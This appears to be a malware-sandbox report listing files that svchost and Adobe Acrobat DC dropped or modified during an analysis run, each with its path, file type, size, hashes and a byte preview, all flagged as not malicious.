C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf0ba7b2f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.788063045244282
Encrypted:	false
SSDEEP:	1536:fSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:fazaPv4V4fXq2UaB
MD5:	902407466C9A4068405FAB57A0FB1FCA
SHA1:	ED29471ACD0D28199B0F2D60C957E38EFCB13408
SHA-256:	6B27D0EDB83496052D9C99BD569CE544FF91CC1079C622E505F045DE571DD42D
SHA-512:	08EDF9EF9F4F5183A9959DD2E1132A655EE7F2446D587CD65BCAA6341287D9D8EBBAF1A19EF44C7F93843C9E8D07DA5B2F1A0CB30909112735AA58329DBBAF2A
Malicious:	false
Preview:	.{/... ...............X\...;...{......................X............{..!....}/.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{...................................IW.!....}O8.................5..!....}O..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08069754428809946
Encrypted:	false
SSDEEP:	3:gHClyYezyM0XlVG0+q2Iqe8lwESR2AllNTt/4ll/Q6beV/:gHClyzzP6GE8lwX2AHtc6V
MD5:	6B9A515EB5312B4C1C416F2A19EDE435
SHA1:	B4480E032CFDA5E697092616B0920A8C21CBE109
SHA-256:	C049915AB91CB2FF968E0A6576090E51730D82D670D56B012B8B5290207A1F1C
SHA-512:	860BBC6B7D75FFC71929C02F56A1BF85EB4210D25115BE952308599A1827FD303747091EB77FDFA7E5A2B6BF6EDB169B68F694A6C6A0B4BBD0A5C24C2C164945
Malicious:	false
Preview:	.........................................;...{..!....}O......{...............{.......{....:......{..................5..!....}O.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.2233901860522165
Encrypted:	false
SSDEEP:	6:iOn/GLIHIq2PFi2nKuAl9OmbnIFUtF/GLKHZZmwr/GLjFkwOFi2nKuAl9OmbjLJ:7n/GL1vdZHAahFUtF/GLK5/r/GLZ5wZC
MD5:	DF069FCD5DD6DE2D2EB014DAA499006D
SHA1:	245249A12620B1958173A911632C78CF1B4C4ADC
SHA-256:	C5D13901548DB826486AF8C18E31BEA84A4FDB64085C8E1F7BB004CA529B2F6F
SHA-512:	D021ECD4D80A9AB87E34CAE8188A7A08705641BE9D01F425BC59DAC62EFCEFC2DDB31E91434CC9573C43100106EA05FEE0C2DD95426760837E741AD39C44C0ED
Malicious:	false
Preview:	2025/01/11-01:25:31.795 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:25:31.797 1c84 Recovering log #3.2025/01/11-01:25:31.798 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.2233901860522165
Encrypted:	false
SSDEEP:	6:iOn/GLIHIq2PFi2nKuAl9OmbnIFUtF/GLKHZZmwr/GLjFkwOFi2nKuAl9OmbjLJ:7n/GL1vdZHAahFUtF/GLK5/r/GLZ5wZC
MD5:	DF069FCD5DD6DE2D2EB014DAA499006D
SHA1:	245249A12620B1958173A911632C78CF1B4C4ADC
SHA-256:	C5D13901548DB826486AF8C18E31BEA84A4FDB64085C8E1F7BB004CA529B2F6F
SHA-512:	D021ECD4D80A9AB87E34CAE8188A7A08705641BE9D01F425BC59DAC62EFCEFC2DDB31E91434CC9573C43100106EA05FEE0C2DD95426760837E741AD39C44C0ED
Malicious:	false
Preview:	2025/01/11-01:25:31.795 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:25:31.797 1c84 Recovering log #3.2025/01/11-01:25:31.798 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.161105109095496
Encrypted:	false
SSDEEP:	6:iOn/GLXq2PFi2nKuAl9Ombzo2jMGIFUtF/GL4Zmwr/GLLtV7FkwOFi2nKuAl9OmT:7n/GLXvdZHAa8uFUtF/GL4/r/GLLtn5n
MD5:	6B1D8E4E14B83C0A09D935B02EC91179
SHA1:	78B7A2A77618D89A25BDA170EC1FDF86CA11C92E
SHA-256:	4CC4291DB534A43A378CA86FA58E009159E7D357642561E8C2179C79AB34E225
SHA-512:	65E3EB8D9C8E31C9E3AF7921E14393D16BF91100BD648C7597A433CA745A40603C3790377618E00FE368F63117B6EBAB0D1B45BF7F85AFFC2417D1B991BAB75C
Malicious:	false
Preview:	2025/01/11-01:25:31.834 2004 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:25:31.836 2004 Recovering log #3.2025/01/11-01:25:31.837 2004 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.161105109095496
Encrypted:	false
SSDEEP:	6:iOn/GLXq2PFi2nKuAl9Ombzo2jMGIFUtF/GL4Zmwr/GLLtV7FkwOFi2nKuAl9OmT:7n/GLXvdZHAa8uFUtF/GL4/r/GLLtn5n
MD5:	6B1D8E4E14B83C0A09D935B02EC91179
SHA1:	78B7A2A77618D89A25BDA170EC1FDF86CA11C92E
SHA-256:	4CC4291DB534A43A378CA86FA58E009159E7D357642561E8C2179C79AB34E225
SHA-512:	65E3EB8D9C8E31C9E3AF7921E14393D16BF91100BD648C7597A433CA745A40603C3790377618E00FE368F63117B6EBAB0D1B45BF7F85AFFC2417D1B991BAB75C
Malicious:	false
Preview:	2025/01/11-01:25:31.834 2004 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:25:31.836 2004 Recovering log #3.2025/01/11-01:25:31.837 2004 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.958752397865049
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhsBdOg2HjAcaq3QYiubpP7E4T3y:Y2sRdsbdMHjr3QYhbd7nby
MD5:	EF23952851776F793A52CF2072AFDF3F
SHA1:	39932D940CACA7469EF3D84BF5D718BED9BDC7D4
SHA-256:	E14C03DA4F515C0EB8E738753077ED84A06F8290D080AFA6D0B233423919DCB6
SHA-512:	388EE7DED82B867AA309B35019753F65BFFC1AC3FDAC7FECAFFFB8600AA1E0FA65E71CAA78731B1D2C7652CE6C3765F0E7D0B5B9DAC34C15200E44F167EB9CA4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136743471797","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118341},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bd564dd4-62cf-4a95-b539-58c43976b39e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.958752397865049
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhsBdOg2HjAcaq3QYiubpP7E4T3y:Y2sRdsbdMHjr3QYhbd7nby
MD5:	EF23952851776F793A52CF2072AFDF3F
SHA1:	39932D940CACA7469EF3D84BF5D718BED9BDC7D4
SHA-256:	E14C03DA4F515C0EB8E738753077ED84A06F8290D080AFA6D0B233423919DCB6
SHA-512:	388EE7DED82B867AA309B35019753F65BFFC1AC3FDAC7FECAFFFB8600AA1E0FA65E71CAA78731B1D2C7652CE6C3765F0E7D0B5B9DAC34C15200E44F167EB9CA4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136743471797","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118341},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232766813740677
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVA5MfNY:wshFT0h7cZb2EVKZPEANcGIK5EVAafNY
MD5:	552A76B2207072AB0A5BE47FB04C7367
SHA1:	B387BBB480B55B652D7C1BCDFD68E7AD899977F7
SHA-256:	102957C7CAA22BED8C7AD491967C7E8496D0749F3E78FD113D0356AC25537507
SHA-512:	52D45B03052C32EADDB7C1C88C55138380B91CE15C0354C78B2D524ED1600706326C46F2DE99D985DF3E7B0E352E65285CD4E624A23D0E2090C7252EEC4D83F3
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.135015682030519
Encrypted:	false
SSDEEP:	6:iOn/Uq2PFi2nKuAl9OmbzNMxIFUtF/M/9Zmwr/bVhkwOFi2nKuAl9OmbzNMFLJ:7n/UvdZHAa8jFUtF/M1/r/T5wZHAa84J
MD5:	B6BD3E62F15D8449840C9A4874CF9ECF
SHA1:	C57FEBEB4F15556E18491F7ED35F93F461CB5225
SHA-256:	6603AB237ABD1E77AE5273145C992AF18CE32DB423DFF2B7EB420CF20F7515D2
SHA-512:	0A521DF17E696C12B1420C4A482C733CBDA3F767BA3188714A10E1766BFDA7A3B13F4FB90443EE7D336C5C53EF057B6E4AEAEFCA004061C8702F398667E3BA9C
Malicious:	false
Preview:	2025/01/11-01:25:32.154 2004 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:25:32.157 2004 Recovering log #3.2025/01/11-01:25:32.158 2004 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.135015682030519
Encrypted:	false
SSDEEP:	6:iOn/Uq2PFi2nKuAl9OmbzNMxIFUtF/M/9Zmwr/bVhkwOFi2nKuAl9OmbzNMFLJ:7n/UvdZHAa8jFUtF/M1/r/T5wZHAa84J
MD5:	B6BD3E62F15D8449840C9A4874CF9ECF
SHA1:	C57FEBEB4F15556E18491F7ED35F93F461CB5225
SHA-256:	6603AB237ABD1E77AE5273145C992AF18CE32DB423DFF2B7EB420CF20F7515D2
SHA-512:	0A521DF17E696C12B1420C4A482C733CBDA3F767BA3188714A10E1766BFDA7A3B13F4FB90443EE7D336C5C53EF057B6E4AEAEFCA004061C8702F398667E3BA9C
Malicious:	false
Preview:	2025/01/11-01:25:32.154 2004 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:25:32.157 2004 Recovering log #3.2025/01/11-01:25:32.158 2004 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438734920847336
Encrypted:	false
SSDEEP:	384:SeFci5G8iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:CQurVgazUpUTTGt
MD5:	5AB0BC3FF7D60B033A2A57FF321D4A2B
SHA1:	EEA378750E1C57B5FD74CC2DC7F924C577DFB2B4
SHA-256:	E1847F0771617B2BE7D0CF3B5B8208C39A0D8EAC347C7B7125843D542DA4C01A
SHA-512:	E5FE6105540F59A5CAF79536D260B8C155A2D6BDB0B27D68E349378E5C5B953B8DE619B6F589083424F927B1F81F786F9D024A93CE09E9F3F0748867914A5D70
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2135493920798788
Encrypted:	false
SSDEEP:	24:7+tFga6wKzqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mr:7MvWzqvmFTIF3XmHjBoGGR+jMz+Lhm
MD5:	D173CA126C7938B6F7C9BBBA1BEB9179
SHA1:	D92A42E7AFDD36D554BACF657284FCD3BDC8C6ED
SHA-256:	B219907CCB7B9972E07DD4977912B32668324D7ED054FD2F20E195E55C97541C
SHA-512:	84585C3E803B551A2509B221009871DED5A3BCF44E5E7DAF63146471A128FE281D65C61CD410F55BB43D9E05851810855ADF73589BFA679403B9D67C05E835CF
Malicious:	false
Preview:	.... .c......i..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkloq0i/tfllXlE/HT8kq/h/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKxq7eT8L7NMa8RdWBwRd
MD5:	F6D53665990E302C71EA0F127BDA0297
SHA1:	73C912E9430C1EB9F591BD0ADC3837DA31DD463A
SHA-256:	C80EF0EB84686EF5B2837E29C13A85B04AB7B3D63B2EB2EE93817963759DEE5F
SHA-512:	7CD42487CCE7A3F1A1229AE3F1E0C1DDAAD0F9298390E8785D47BEC67812DBE7E6C508A65027E9683340C9C8DE6ECC014FD6473DBB5CB01321C8C480D6D0A55B
Malicious:	false
Preview:	p...... ..........n..c..(....................................................... ..........W.....X..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKpL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:BiDImsLNkPlE99SNxAhUe/3
MD5:	B50977D00B77256F376DDF09E493C829
SHA1:	161D52C2D3EA9651F37732B2A8172C3B7166283F
SHA-256:	37D3BC73C7BA17788D86457D93711E0CEB9E26EE2CADEC315C81E936BFEA4777
SHA-512:	D99EC0F70FE2DC75F46895450D3B4727F4B1ACF58B36BC8411D5E897BF49E1A3E44805415171768E826432695FB4A15F5E69B0054D92433F72B4D2B56024291D
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4216

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
